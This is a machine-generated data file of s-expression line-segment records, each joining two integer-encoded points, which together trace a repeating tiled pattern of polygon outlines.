(line (p1 110011) (p2 100010))
(line (p1 110011) (p2 90011))
(line (p1 90011) (p2 80011))
(line (p1 80011) (p2 70011))
(line (p1 70011) (p2 60010))
(line (p1 170003) (p2 180003))
(line (p1 150005) (p2 150006))
(line (p1 200005) (p2 200006))
(line (p1 170008) (p2 180008))
(line (p1 120000) (p2 140000))
(line (p1 140000) (p2 150000))
(line (p1 150000) (p2 160000))
(line (p1 120000) (p2 120002))
(line (p1 120002) (p2 120003))
(line (p1 120003) (p2 120004))
(line (p1 120004) (p2 160004))
(line (p1 160004) (p2 160000))
(line (p1 160000) (p2 170001))
(line (p1 170001) (p2 170002))
(line (p1 170002) (p2 170003))
(line (p1 170003) (p2 170005))
(line (p1 170005) (p2 160004))
(line (p1 170005) (p2 150005))
(line (p1 150005) (p2 140005))
(line (p1 140005) (p2 130005))
(line (p1 130005) (p2 120004))
(line (p1 180000) (p2 200000))
(line (p1 200000) (p2 210000))
(line (p1 210000) (p2 220000))
(line (p1 180000) (p2 180002))
(line (p1 180002) (p2 180003))
(line (p1 180003) (p2 180004))
(line (p1 180004) (p2 220004))
(line (p1 220004) (p2 220000))
(line (p1 220000) (p2 230001))
(line (p1 230001) (p2 230002))
(line (p1 230002) (p2 230003))
(line (p1 230003) (p2 230005))
(line (p1 230005) (p2 220004))
(line (p1 230005) (p2 210005))
(line (p1 210005) (p2 200005))
(line (p1 200005) (p2 190005))
(line (p1 190005) (p2 180004))
(line (p1 120006) (p2 140006))
(line (p1 140006) (p2 150006))
(line (p1 150006) (p2 160006))
(line (p1 120006) (p2 120008))
(line (p1 120008) (p2 120009))
(line (p1 120009) (p2 120010))
(line (p1 120010) (p2 160010))
(line (p1 160010) (p2 160006))
(line (p1 160006) (p2 170007))
(line (p1 170007) (p2 170008))
(line (p1 170008) (p2 170009))
(line (p1 170009) (p2 170011))
(line (p1 170011) (p2 160010))
(line (p1 170011) (p2 150011))
(line (p1 150011) (p2 140011))
(line (p1 140011) (p2 130011))
(line (p1 130011) (p2 120010))
(line (p1 180006) (p2 200006))
(line (p1 200006) (p2 210006))
(line (p1 210006) (p2 220006))
(line (p1 180006) (p2 180008))
(line (p1 180008) (p2 180009))
(line (p1 180009) (p2 180010))
(line (p1 180010) (p2 220010))
(line (p1 220010) (p2 220006))
(line (p1 220006) (p2 230007))
(line (p1 230007) (p2 230008))
(line (p1 230008) (p2 230009))
(line (p1 230009) (p2 230011))
(line (p1 230011) (p2 220010))
(line (p1 230011) (p2 210011))
(line (p1 210011) (p2 200011))
(line (p1 200011) (p2 190011))
(line (p1 190011) (p2 180010))
(line (p1 110003) (p2 120003))
(line (p1 90005) (p2 90006))
(line (p1 140005) (p2 140006))
(line (p1 110008) (p2 120008))
(line (p1 290003) (p2 300003))
(line (p1 270005) (p2 270006))
(line (p1 320005) (p2 320006))
(line (p1 290008) (p2 300008))
(line (p1 240000) (p2 260000))
(line (p1 260000) (p2 270000))
(line (p1 270000) (p2 280000))
(line (p1 240000) (p2 240002))
(line (p1 240002) (p2 240003))
(line (p1 240003) (p2 240004))
(line (p1 240004) (p2 280004))
(line (p1 280004) (p2 280000))
(line (p1 280000) (p2 290001))
(line (p1 290001) (p2 290002))
(line (p1 290002) (p2 290003))
(line (p1 290003) (p2 290005))
(line (p1 290005) (p2 280004))
(line (p1 290005) (p2 270005))
(line (p1 270005) (p2 260005))
(line (p1 260005) (p2 250005))
(line (p1 250005) (p2 240004))
(line (p1 300000) (p2 320000))
(line (p1 320000) (p2 330000))
(line (p1 330000) (p2 340000))
(line (p1 300000) (p2 300002))
(line (p1 300002) (p2 300003))
(line (p1 300003) (p2 300004))
(line (p1 300004) (p2 340004))
(line (p1 340004) (p2 340000))
(line (p1 340000) (p2 350001))
(line (p1 350001) (p2 350002))
(line (p1 350002) (p2 350003))
(line (p1 350003) (p2 350005))
(line (p1 350005) (p2 340004))
(line (p1 350005) (p2 330005))
(line (p1 330005) (p2 320005))
(line (p1 320005) (p2 310005))
(line (p1 310005) (p2 300004))
(line (p1 240006) (p2 260006))
(line (p1 260006) (p2 270006))
(line (p1 270006) (p2 280006))
(line (p1 240006) (p2 240008))
(line (p1 240008) (p2 240009))
(line (p1 240009) (p2 240010))
(line (p1 240010) (p2 280010))
(line (p1 280010) (p2 280006))
(line (p1 280006) (p2 290007))
(line (p1 290007) (p2 290008))
(line (p1 290008) (p2 290009))
(line (p1 290009) (p2 290011))
(line (p1 290011) (p2 280010))
(line (p1 290011) (p2 270011))
(line (p1 270011) (p2 260011))
(line (p1 260011) (p2 250011))
(line (p1 250011) (p2 240010))
(line (p1 300006) (p2 320006))
(line (p1 320006) (p2 330006))
(line (p1 330006) (p2 340006))
(line (p1 300006) (p2 300008))
(line (p1 300008) (p2 300009))
(line (p1 300009) (p2 300010))
(line (p1 300010) (p2 340010))
(line (p1 340010) (p2 340006))
(line (p1 340006) (p2 350007))
(line (p1 350007) (p2 350008))
(line (p1 350008) (p2 350009))
(line (p1 350009) (p2 350011))
(line (p1 350011) (p2 340010))
(line (p1 350011) (p2 330011))
(line (p1 330011) (p2 320011))
(line (p1 320011) (p2 310011))
(line (p1 310011) (p2 300010))
(line (p1 230003) (p2 240003))
(line (p1 210005) (p2 210006))
(line (p1 260005) (p2 260006))
(line (p1 230008) (p2 240008))
(line (p1 410003) (p2 420003))
(line (p1 390005) (p2 390006))
(line (p1 440005) (p2 440006))
(line (p1 410008) (p2 420008))
(line (p1 360000) (p2 380000))
(line (p1 380000) (p2 390000))
(line (p1 390000) (p2 400000))
(line (p1 360000) (p2 360002))
(line (p1 360002) (p2 360003))
(line (p1 360003) (p2 360004))
(line (p1 360004) (p2 400004))
(line (p1 400004) (p2 400000))
(line (p1 400000) (p2 410001))
(line (p1 410001) (p2 410002))
(line (p1 410002) (p2 410003))
(line (p1 410003) (p2 410005))
(line (p1 410005) (p2 400004))
(line (p1 410005) (p2 390005))
(line (p1 390005) (p2 380005))
(line (p1 380005) (p2 370005))
(line (p1 370005) (p2 360004))
(line (p1 420000) (p2 440000))
(line (p1 440000) (p2 450000))
(line (p1 450000) (p2 460000))
(line (p1 420000) (p2 420002))
(line (p1 420002) (p2 420003))
(line (p1 420003) (p2 420004))
(line (p1 420004) (p2 460004))
(line (p1 460004) (p2 460000))
(line (p1 460000) (p2 470001))
(line (p1 470001) (p2 470002))
(line (p1 470002) (p2 470003))
(line (p1 470003) (p2 470005))
(line (p1 470005) (p2 460004))
(line (p1 470005) (p2 450005))
(line (p1 450005) (p2 440005))
(line (p1 440005) (p2 430005))
(line (p1 430005) (p2 420004))
(line (p1 360006) (p2 380006))
(line (p1 380006) (p2 390006))
(line (p1 390006) (p2 400006))
(line (p1 360006) (p2 360008))
(line (p1 360008) (p2 360009))
(line (p1 360009) (p2 360010))
(line (p1 360010) (p2 400010))
(line (p1 400010) (p2 400006))
(line (p1 400006) (p2 410007))
(line (p1 410007) (p2 410008))
(line (p1 410008) (p2 410009))
(line (p1 410009) (p2 410011))
(line (p1 410011) (p2 400010))
(line (p1 410011) (p2 390011))
(line (p1 390011) (p2 380011))
(line (p1 380011) (p2 370011))
(line (p1 370011) (p2 360010))
(line (p1 420006) (p2 440006))
(line (p1 440006) (p2 450006))
(line (p1 450006) (p2 460006))
(line (p1 420006) (p2 420008))
(line (p1 420008) (p2 420009))
(line (p1 420009) (p2 420010))
(line (p1 420010) (p2 460010))
(line (p1 460010) (p2 460006))
(line (p1 460006) (p2 470007))
(line (p1 470007) (p2 470008))
(line (p1 470008) (p2 470009))
(line (p1 470009) (p2 470011))
(line (p1 470011) (p2 460010))
(line (p1 470011) (p2 450011))
(line (p1 450011) (p2 440011))
(line (p1 440011) (p2 430011))
(line (p1 430011) (p2 420010))
(line (p1 350003) (p2 360003))
(line (p1 330005) (p2 330006))
(line (p1 380005) (p2 380006))
(line (p1 350008) (p2 360008))
(line (p1 530003) (p2 540003))
(line (p1 510005) (p2 510006))
(line (p1 560005) (p2 560006))
(line (p1 530008) (p2 540008))
(line (p1 480000) (p2 500000))
(line (p1 500000) (p2 510000))
(line (p1 510000) (p2 520000))
(line (p1 480000) (p2 480002))
(line (p1 480002) (p2 480003))
(line (p1 480003) (p2 480004))
(line (p1 480004) (p2 520004))
(line (p1 520004) (p2 520000))
(line (p1 520000) (p2 530001))
(line (p1 530001) (p2 530002))
(line (p1 530002) (p2 530003))
(line (p1 530003) (p2 530005))
(line (p1 530005) (p2 520004))
(line (p1 530005) (p2 510005))
(line (p1 510005) (p2 500005))
(line (p1 500005) (p2 490005))
(line (p1 490005) (p2 480004))
(line (p1 540000) (p2 560000))
(line (p1 560000) (p2 570000))
(line (p1 570000) (p2 580000))
(line (p1 540000) (p2 540002))
(line (p1 540002) (p2 540003))
(line (p1 540003) (p2 540004))
(line (p1 540004) (p2 580004))
(line (p1 580004) (p2 580000))
(line (p1 580000) (p2 590001))
(line (p1 590001) (p2 590002))
(line (p1 590002) (p2 590003))
(line (p1 590003) (p2 590005))
(line (p1 590005) (p2 580004))
(line (p1 590005) (p2 570005))
(line (p1 570005) (p2 560005))
(line (p1 560005) (p2 550005))
(line (p1 550005) (p2 540004))
(line (p1 480006) (p2 500006))
(line (p1 500006) (p2 510006))
(line (p1 510006) (p2 520006))
(line (p1 480006) (p2 480008))
(line (p1 480008) (p2 480009))
(line (p1 480009) (p2 480010))
(line (p1 480010) (p2 520010))
(line (p1 520010) (p2 520006))
(line (p1 520006) (p2 530007))
(line (p1 530007) (p2 530008))
(line (p1 530008) (p2 530009))
(line (p1 530009) (p2 530011))
(line (p1 530011) (p2 520010))
(line (p1 530011) (p2 510011))
(line (p1 510011) (p2 500011))
(line (p1 500011) (p2 490011))
(line (p1 490011) (p2 480010))
(line (p1 540006) (p2 560006))
(line (p1 560006) (p2 570006))
(line (p1 570006) (p2 580006))
(line (p1 540006) (p2 540008))
(line (p1 540008) (p2 540009))
(line (p1 540009) (p2 540010))
(line (p1 540010) (p2 580010))
(line (p1 580010) (p2 580006))
(line (p1 580006) (p2 590007))
(line (p1 590007) (p2 590008))
(line (p1 590008) (p2 590009))
(line (p1 590009) (p2 590011))
(line (p1 590011) (p2 580010))
(line (p1 590011) (p2 570011))
(line (p1 570011) (p2 560011))
(line (p1 560011) (p2 550011))
(line (p1 550011) (p2 540010))
(line (p1 470003) (p2 480003))
(line (p1 450005) (p2 450006))
(line (p1 500005) (p2 500006))
(line (p1 470008) (p2 480008))
(line (p1 650003) (p2 660003))
(line (p1 630005) (p2 630006))
(line (p1 680005) (p2 680006))
(line (p1 650008) (p2 660008))
(line (p1 600000) (p2 620000))
(line (p1 620000) (p2 630000))
(line (p1 630000) (p2 640000))
(line (p1 600000) (p2 600002))
(line (p1 600002) (p2 600003))
(line (p1 600003) (p2 600004))
(line (p1 600004) (p2 640004))
(line (p1 640004) (p2 640000))
(line (p1 640000) (p2 650001))
(line (p1 650001) (p2 650002))
(line (p1 650002) (p2 650003))
(line (p1 650003) (p2 650005))
(line (p1 650005) (p2 640004))
(line (p1 650005) (p2 630005))
(line (p1 630005) (p2 620005))
(line (p1 620005) (p2 610005))
(line (p1 610005) (p2 600004))
(line (p1 660000) (p2 680000))
(line (p1 680000) (p2 690000))
(line (p1 690000) (p2 700000))
(line (p1 660000) (p2 660002))
(line (p1 660002) (p2 660003))
(line (p1 660003) (p2 660004))
(line (p1 660004) (p2 700004))
(line (p1 700004) (p2 700000))
(line (p1 700000) (p2 710001))
(line (p1 710001) (p2 710002))
(line (p1 710002) (p2 710003))
(line (p1 710003) (p2 710005))
(line (p1 710005) (p2 700004))
(line (p1 710005) (p2 690005))
(line (p1 690005) (p2 680005))
(line (p1 680005) (p2 670005))
(line (p1 670005) (p2 660004))
(line (p1 600006) (p2 620006))
(line (p1 620006) (p2 630006))
(line (p1 630006) (p2 640006))
(line (p1 600006) (p2 600008))
(line (p1 600008) (p2 600009))
(line (p1 600009) (p2 600010))
(line (p1 600010) (p2 640010))
(line (p1 640010) (p2 640006))
(line (p1 640006) (p2 650007))
(line (p1 650007) (p2 650008))
(line (p1 650008) (p2 650009))
(line (p1 650009) (p2 650011))
(line (p1 650011) (p2 640010))
(line (p1 650011) (p2 630011))
(line (p1 630011) (p2 620011))
(line (p1 620011) (p2 610011))
(line (p1 610011) (p2 600010))
(line (p1 660006) (p2 680006))
(line (p1 680006) (p2 690006))
(line (p1 690006) (p2 700006))
(line (p1 660006) (p2 660008))
(line (p1 660008) (p2 660009))
(line (p1 660009) (p2 660010))
(line (p1 660010) (p2 700010))
(line (p1 700010) (p2 700006))
(line (p1 700006) (p2 710007))
(line (p1 710007) (p2 710008))
(line (p1 710008) (p2 710009))
(line (p1 710009) (p2 710011))
(line (p1 710011) (p2 700010))
(line (p1 710011) (p2 690011))
(line (p1 690011) (p2 680011))
(line (p1 680011) (p2 670011))
(line (p1 670011) (p2 660010))
(line (p1 590003) (p2 600003))
(line (p1 570005) (p2 570006))
(line (p1 620005) (p2 620006))
(line (p1 590008) (p2 600008))
(line (p1 770003) (p2 780003))
(line (p1 750005) (p2 750006))
(line (p1 800005) (p2 800006))
(line (p1 770008) (p2 780008))
(line (p1 720000) (p2 740000))
(line (p1 740000) (p2 750000))
(line (p1 750000) (p2 760000))
(line (p1 720000) (p2 720002))
(line (p1 720002) (p2 720003))
(line (p1 720003) (p2 720004))
(line (p1 720004) (p2 760004))
(line (p1 760004) (p2 760000))
(line (p1 760000) (p2 770001))
(line (p1 770001) (p2 770002))
(line (p1 770002) (p2 770003))
(line (p1 770003) (p2 770005))
(line (p1 770005) (p2 760004))
(line (p1 770005) (p2 750005))
(line (p1 750005) (p2 740005))
(line (p1 740005) (p2 730005))
(line (p1 730005) (p2 720004))
(line (p1 780000) (p2 800000))
(line (p1 800000) (p2 810000))
(line (p1 810000) (p2 820000))
(line (p1 780000) (p2 780002))
(line (p1 780002) (p2 780003))
(line (p1 780003) (p2 780004))
(line (p1 780004) (p2 820004))
(line (p1 820004) (p2 820000))
(line (p1 820000) (p2 830001))
(line (p1 830001) (p2 830002))
(line (p1 830002) (p2 830003))
(line (p1 830003) (p2 830005))
(line (p1 830005) (p2 820004))
(line (p1 830005) (p2 810005))
(line (p1 810005) (p2 800005))
(line (p1 800005) (p2 790005))
(line (p1 790005) (p2 780004))
(line (p1 720006) (p2 740006))
(line (p1 740006) (p2 750006))
(line (p1 750006) (p2 760006))
(line (p1 720006) (p2 720008))
(line (p1 720008) (p2 720009))
(line (p1 720009) (p2 720010))
(line (p1 720010) (p2 760010))
(line (p1 760010) (p2 760006))
(line (p1 760006) (p2 770007))
(line (p1 770007) (p2 770008))
(line (p1 770008) (p2 770009))
(line (p1 770009) (p2 770011))
(line (p1 770011) (p2 760010))
(line (p1 770011) (p2 750011))
(line (p1 750011) (p2 740011))
(line (p1 740011) (p2 730011))
(line (p1 730011) (p2 720010))
(line (p1 780006) (p2 800006))
(line (p1 800006) (p2 810006))
(line (p1 810006) (p2 820006))
(line (p1 780006) (p2 780008))
(line (p1 780008) (p2 780009))
(line (p1 780009) (p2 780010))
(line (p1 780010) (p2 820010))
(line (p1 820010) (p2 820006))
(line (p1 820006) (p2 830007))
(line (p1 830007) (p2 830008))
(line (p1 830008) (p2 830009))
(line (p1 830009) (p2 830011))
(line (p1 830011) (p2 820010))
(line (p1 830011) (p2 810011))
(line (p1 810011) (p2 800011))
(line (p1 800011) (p2 790011))
(line (p1 790011) (p2 780010))
(line (p1 710003) (p2 720003))
(line (p1 690005) (p2 690006))
(line (p1 740005) (p2 740006))
(line (p1 710008) (p2 720008))
(line (p1 890003) (p2 900003))
(line (p1 870005) (p2 870006))
(line (p1 920005) (p2 920006))
(line (p1 890008) (p2 900008))
(line (p1 840000) (p2 860000))
(line (p1 860000) (p2 870000))
(line (p1 870000) (p2 880000))
(line (p1 840000) (p2 840002))
(line (p1 840002) (p2 840003))
(line (p1 840003) (p2 840004))
(line (p1 840004) (p2 880004))
(line (p1 880004) (p2 880000))
(line (p1 880000) (p2 890001))
(line (p1 890001) (p2 890002))
(line (p1 890002) (p2 890003))
(line (p1 890003) (p2 890005))
(line (p1 890005) (p2 880004))
(line (p1 890005) (p2 870005))
(line (p1 870005) (p2 860005))
(line (p1 860005) (p2 850005))
(line (p1 850005) (p2 840004))
(line (p1 900000) (p2 920000))
(line (p1 920000) (p2 930000))
(line (p1 930000) (p2 940000))
(line (p1 900000) (p2 900002))
(line (p1 900002) (p2 900003))
(line (p1 900003) (p2 900004))
(line (p1 900004) (p2 940004))
(line (p1 940004) (p2 940000))
(line (p1 940000) (p2 950001))
(line (p1 950001) (p2 950002))
(line (p1 950002) (p2 950003))
(line (p1 950003) (p2 950005))
(line (p1 950005) (p2 940004))
(line (p1 950005) (p2 930005))
(line (p1 930005) (p2 920005))
(line (p1 920005) (p2 910005))
(line (p1 910005) (p2 900004))
(line (p1 840006) (p2 860006))
(line (p1 860006) (p2 870006))
(line (p1 870006) (p2 880006))
(line (p1 840006) (p2 840008))
(line (p1 840008) (p2 840009))
(line (p1 840009) (p2 840010))
(line (p1 840010) (p2 880010))
(line (p1 880010) (p2 880006))
(line (p1 880006) (p2 890007))
(line (p1 890007) (p2 890008))
(line (p1 890008) (p2 890009))
(line (p1 890009) (p2 890011))
(line (p1 890011) (p2 880010))
(line (p1 890011) (p2 870011))
(line (p1 870011) (p2 860011))
(line (p1 860011) (p2 850011))
(line (p1 850011) (p2 840010))
(line (p1 900006) (p2 920006))
(line (p1 920006) (p2 930006))
(line (p1 930006) (p2 940006))
(line (p1 900006) (p2 900008))
(line (p1 900008) (p2 900009))
(line (p1 900009) (p2 900010))
(line (p1 900010) (p2 940010))
(line (p1 940010) (p2 940006))
(line (p1 940006) (p2 950007))
(line (p1 950007) (p2 950008))
(line (p1 950008) (p2 950009))
(line (p1 950009) (p2 950011))
(line (p1 950011) (p2 940010))
(line (p1 950011) (p2 930011))
(line (p1 930011) (p2 920011))
(line (p1 920011) (p2 910011))
(line (p1 910011) (p2 900010))
(line (p1 830003) (p2 840003))
(line (p1 810005) (p2 810006))
(line (p1 860005) (p2 860006))
(line (p1 830008) (p2 840008))
(line (p1 1010003) (p2 1020003))
(line (p1 990005) (p2 990006))
(line (p1 1040005) (p2 1040006))
(line (p1 1010008) (p2 1020008))
(line (p1 960000) (p2 980000))
(line (p1 980000) (p2 990000))
(line (p1 990000) (p2 1000000))
(line (p1 960000) (p2 960002))
(line (p1 960002) (p2 960003))
(line (p1 960003) (p2 960004))
(line (p1 960004) (p2 1000004))
(line (p1 1000004) (p2 1000000))
(line (p1 1000000) (p2 1010001))
(line (p1 1010001) (p2 1010002))
(line (p1 1010002) (p2 1010003))
(line (p1 1010003) (p2 1010005))
(line (p1 1010005) (p2 1000004))
(line (p1 1010005) (p2 990005))
(line (p1 990005) (p2 980005))
(line (p1 980005) (p2 970005))
(line (p1 970005) (p2 960004))
(line (p1 1020000) (p2 1040000))
(line (p1 1040000) (p2 1050000))
(line (p1 1050000) (p2 1060000))
(line (p1 1020000) (p2 1020002))
(line (p1 1020002) (p2 1020003))
(line (p1 1020003) (p2 1020004))
(line (p1 1020004) (p2 1060004))
(line (p1 1060004) (p2 1060000))
(line (p1 1060000) (p2 1070001))
(line (p1 1070001) (p2 1070002))
(line (p1 1070002) (p2 1070003))
(line (p1 1070003) (p2 1070005))
(line (p1 1070005) (p2 1060004))
(line (p1 1070005) (p2 1050005))
(line (p1 1050005) (p2 1040005))
(line (p1 1040005) (p2 1030005))
(line (p1 1030005) (p2 1020004))
(line (p1 960006) (p2 980006))
(line (p1 980006) (p2 990006))
(line (p1 990006) (p2 1000006))
(line (p1 960006) (p2 960008))
(line (p1 960008) (p2 960009))
(line (p1 960009) (p2 960010))
(line (p1 960010) (p2 1000010))
(line (p1 1000010) (p2 1000006))
(line (p1 1000006) (p2 1010007))
(line (p1 1010007) (p2 1010008))
(line (p1 1010008) (p2 1010009))
(line (p1 1010009) (p2 1010011))
(line (p1 1010011) (p2 1000010))
(line (p1 1010011) (p2 990011))
(line (p1 990011) (p2 980011))
(line (p1 980011) (p2 970011))
(line (p1 970011) (p2 960010))
(line (p1 1020006) (p2 1040006))
(line (p1 1040006) (p2 1050006))
(line (p1 1050006) (p2 1060006))
(line (p1 1020006) (p2 1020008))
(line (p1 1020008) (p2 1020009))
(line (p1 1020009) (p2 1020010))
(line (p1 1020010) (p2 1060010))
(line (p1 1060010) (p2 1060006))
(line (p1 1060006) (p2 1070007))
(line (p1 1070007) (p2 1070008))
(line (p1 1070008) (p2 1070009))
(line (p1 1070009) (p2 1070011))
(line (p1 1070011) (p2 1060010))
(line (p1 1070011) (p2 1050011))
(line (p1 1050011) (p2 1040011))
(line (p1 1040011) (p2 1030011))
(line (p1 1030011) (p2 1020010))
(line (p1 950003) (p2 960003))
(line (p1 930005) (p2 930006))
(line (p1 980005) (p2 980006))
(line (p1 950008) (p2 960008))
(line (p1 1130003) (p2 1140003))
(line (p1 1110005) (p2 1110006))
(line (p1 1160005) (p2 1160006))
(line (p1 1130008) (p2 1140008))
(line (p1 1080000) (p2 1100000))
(line (p1 1100000) (p2 1110000))
(line (p1 1110000) (p2 1120000))
(line (p1 1080000) (p2 1080002))
(line (p1 1080002) (p2 1080003))
(line (p1 1080003) (p2 1080004))
(line (p1 1080004) (p2 1120004))
(line (p1 1120004) (p2 1120000))
(line (p1 1120000) (p2 1130001))
(line (p1 1130001) (p2 1130002))
(line (p1 1130002) (p2 1130003))
(line (p1 1130003) (p2 1130005))
(line (p1 1130005) (p2 1120004))
(line (p1 1130005) (p2 1110005))
(line (p1 1110005) (p2 1100005))
(line (p1 1100005) (p2 1090005))
(line (p1 1090005) (p2 1080004))
(line (p1 1140000) (p2 1160000))
(line (p1 1160000) (p2 1170000))
(line (p1 1170000) (p2 1180000))
(line (p1 1140000) (p2 1140002))
(line (p1 1140002) (p2 1140003))
(line (p1 1140003) (p2 1140004))
(line (p1 1140004) (p2 1180004))
(line (p1 1180004) (p2 1180000))
(line (p1 1180000) (p2 1190001))
(line (p1 1190001) (p2 1190002))
(line (p1 1190002) (p2 1190003))
(line (p1 1190003) (p2 1190005))
(line (p1 1190005) (p2 1180004))
(line (p1 1190005) (p2 1170005))
(line (p1 1170005) (p2 1160005))
(line (p1 1160005) (p2 1150005))
(line (p1 1150005) (p2 1140004))
(line (p1 1080006) (p2 1100006))
(line (p1 1100006) (p2 1110006))
(line (p1 1110006) (p2 1120006))
(line (p1 1080006) (p2 1080008))
(line (p1 1080008) (p2 1080009))
(line (p1 1080009) (p2 1080010))
(line (p1 1080010) (p2 1120010))
(line (p1 1120010) (p2 1120006))
(line (p1 1120006) (p2 1130007))
(line (p1 1130007) (p2 1130008))
(line (p1 1130008) (p2 1130009))
(line (p1 1130009) (p2 1130011))
(line (p1 1130011) (p2 1120010))
(line (p1 1130011) (p2 1110011))
(line (p1 1110011) (p2 1100011))
(line (p1 1100011) (p2 1090011))
(line (p1 1090011) (p2 1080010))
(line (p1 1140006) (p2 1160006))
(line (p1 1160006) (p2 1170006))
(line (p1 1170006) (p2 1180006))
(line (p1 1140006) (p2 1140008))
(line (p1 1140008) (p2 1140009))
(line (p1 1140009) (p2 1140010))
(line (p1 1140010) (p2 1180010))
(line (p1 1180010) (p2 1180006))
(line (p1 1180006) (p2 1190007))
(line (p1 1190007) (p2 1190008))
(line (p1 1190008) (p2 1190009))
(line (p1 1190009) (p2 1190011))
(line (p1 1190011) (p2 1180010))
(line (p1 1190011) (p2 1170011))
(line (p1 1170011) (p2 1160011))
(line (p1 1160011) (p2 1150011))
(line (p1 1150011) (p2 1140010))
(line (p1 1070003) (p2 1080003))
(line (p1 1050005) (p2 1050006))
(line (p1 1100005) (p2 1100006))
(line (p1 1070008) (p2 1080008))
(line (p1 1250003) (p2 1260003))
(line (p1 1230005) (p2 1230006))
(line (p1 1280005) (p2 1280006))
(line (p1 1250008) (p2 1260008))
(line (p1 1200000) (p2 1220000))
(line (p1 1220000) (p2 1230000))
(line (p1 1230000) (p2 1240000))
(line (p1 1200000) (p2 1200002))
(line (p1 1200002) (p2 1200003))
(line (p1 1200003) (p2 1200004))
(line (p1 1200004) (p2 1240004))
(line (p1 1240004) (p2 1240000))
(line (p1 1240000) (p2 1250001))
(line (p1 1250001) (p2 1250002))
(line (p1 1250002) (p2 1250003))
(line (p1 1250003) (p2 1250005))
(line (p1 1250005) (p2 1240004))
(line (p1 1250005) (p2 1230005))
(line (p1 1230005) (p2 1220005))
(line (p1 1220005) (p2 1210005))
(line (p1 1210005) (p2 1200004))
(line (p1 1260000) (p2 1280000))
(line (p1 1280000) (p2 1290000))
(line (p1 1290000) (p2 1300000))
(line (p1 1260000) (p2 1260002))
(line (p1 1260002) (p2 1260003))
(line (p1 1260003) (p2 1260004))
(line (p1 1260004) (p2 1300004))
(line (p1 1300004) (p2 1300000))
(line (p1 1300000) (p2 1310001))
(line (p1 1310001) (p2 1310002))
(line (p1 1310002) (p2 1310003))
(line (p1 1310003) (p2 1310005))
(line (p1 1310005) (p2 1300004))
(line (p1 1310005) (p2 1290005))
(line (p1 1290005) (p2 1280005))
(line (p1 1280005) (p2 1270005))
(line (p1 1270005) (p2 1260004))
(line (p1 1200006) (p2 1220006))
(line (p1 1220006) (p2 1230006))
(line (p1 1230006) (p2 1240006))
(line (p1 1200006) (p2 1200008))
(line (p1 1200008) (p2 1200009))
(line (p1 1200009) (p2 1200010))
(line (p1 1200010) (p2 1240010))
(line (p1 1240010) (p2 1240006))
(line (p1 1240006) (p2 1250007))
(line (p1 1250007) (p2 1250008))
(line (p1 1250008) (p2 1250009))
(line (p1 1250009) (p2 1250011))
(line (p1 1250011) (p2 1240010))
(line (p1 1250011) (p2 1230011))
(line (p1 1230011) (p2 1220011))
(line (p1 1220011) (p2 1210011))
(line (p1 1210011) (p2 1200010))
(line (p1 1260006) (p2 1280006))
(line (p1 1280006) (p2 1290006))
(line (p1 1290006) (p2 1300006))
(line (p1 1260006) (p2 1260008))
(line (p1 1260008) (p2 1260009))
(line (p1 1260009) (p2 1260010))
(line (p1 1260010) (p2 1300010))
(line (p1 1300010) (p2 1300006))
(line (p1 1300006) (p2 1310007))
(line (p1 1310007) (p2 1310008))
(line (p1 1310008) (p2 1310009))
(line (p1 1310009) (p2 1310011))
(line (p1 1310011) (p2 1300010))
(line (p1 1310011) (p2 1290011))
(line (p1 1290011) (p2 1280011))
(line (p1 1280011) (p2 1270011))
(line (p1 1270011) (p2 1260010))
(line (p1 1190003) (p2 1200003))
(line (p1 1170005) (p2 1170006))
(line (p1 1220005) (p2 1220006))
(line (p1 1190008) (p2 1200008))
(line (p1 1370003) (p2 1380003))
(line (p1 1350005) (p2 1350006))
(line (p1 1400005) (p2 1400006))
(line (p1 1370008) (p2 1380008))
(line (p1 1320000) (p2 1340000))
(line (p1 1340000) (p2 1350000))
(line (p1 1350000) (p2 1360000))
(line (p1 1320000) (p2 1320002))
(line (p1 1320002) (p2 1320003))
(line (p1 1320003) (p2 1320004))
(line (p1 1320004) (p2 1360004))
(line (p1 1360004) (p2 1360000))
(line (p1 1360000) (p2 1370001))
(line (p1 1370001) (p2 1370002))
(line (p1 1370002) (p2 1370003))
(line (p1 1370003) (p2 1370005))
(line (p1 1370005) (p2 1360004))
(line (p1 1370005) (p2 1350005))
(line (p1 1350005) (p2 1340005))
(line (p1 1340005) (p2 1330005))
(line (p1 1330005) (p2 1320004))
(line (p1 1380000) (p2 1400000))
(line (p1 1400000) (p2 1410000))
(line (p1 1410000) (p2 1420000))
(line (p1 1380000) (p2 1380002))
(line (p1 1380002) (p2 1380003))
(line (p1 1380003) (p2 1380004))
(line (p1 1380004) (p2 1420004))
(line (p1 1420004) (p2 1420000))
(line (p1 1420000) (p2 1430001))
(line (p1 1430001) (p2 1430002))
(line (p1 1430002) (p2 1430003))
(line (p1 1430003) (p2 1430005))
(line (p1 1430005) (p2 1420004))
(line (p1 1430005) (p2 1410005))
(line (p1 1410005) (p2 1400005))
(line (p1 1400005) (p2 1390005))
(line (p1 1390005) (p2 1380004))
(line (p1 1320006) (p2 1340006))
(line (p1 1340006) (p2 1350006))
(line (p1 1350006) (p2 1360006))
(line (p1 1320006) (p2 1320008))
(line (p1 1320008) (p2 1320009))
(line (p1 1320009) (p2 1320010))
(line (p1 1320010) (p2 1360010))
(line (p1 1360010) (p2 1360006))
(line (p1 1360006) (p2 1370007))
(line (p1 1370007) (p2 1370008))
(line (p1 1370008) (p2 1370009))
(line (p1 1370009) (p2 1370011))
(line (p1 1370011) (p2 1360010))
(line (p1 1370011) (p2 1350011))
(line (p1 1350011) (p2 1340011))
(line (p1 1340011) (p2 1330011))
(line (p1 1330011) (p2 1320010))
(line (p1 1380006) (p2 1400006))
(line (p1 1400006) (p2 1410006))
(line (p1 1410006) (p2 1420006))
(line (p1 1380006) (p2 1380008))
(line (p1 1380008) (p2 1380009))
(line (p1 1380009) (p2 1380010))
(line (p1 1380010) (p2 1420010))
(line (p1 1420010) (p2 1420006))
(line (p1 1420006) (p2 1430007))
(line (p1 1430007) (p2 1430008))
(line (p1 1430008) (p2 1430009))
(line (p1 1430009) (p2 1430011))
(line (p1 1430011) (p2 1420010))
(line (p1 1430011) (p2 1410011))
(line (p1 1410011) (p2 1400011))
(line (p1 1400011) (p2 1390011))
(line (p1 1390011) (p2 1380010))
(line (p1 1310003) (p2 1320003))
(line (p1 1290005) (p2 1290006))
(line (p1 1340005) (p2 1340006))
(line (p1 1310008) (p2 1320008))
(line (p1 1490003) (p2 1500003))
(line (p1 1470005) (p2 1470006))
(line (p1 1520005) (p2 1520006))
(line (p1 1490008) (p2 1500008))
(line (p1 1440000) (p2 1460000))
(line (p1 1460000) (p2 1470000))
(line (p1 1470000) (p2 1480000))
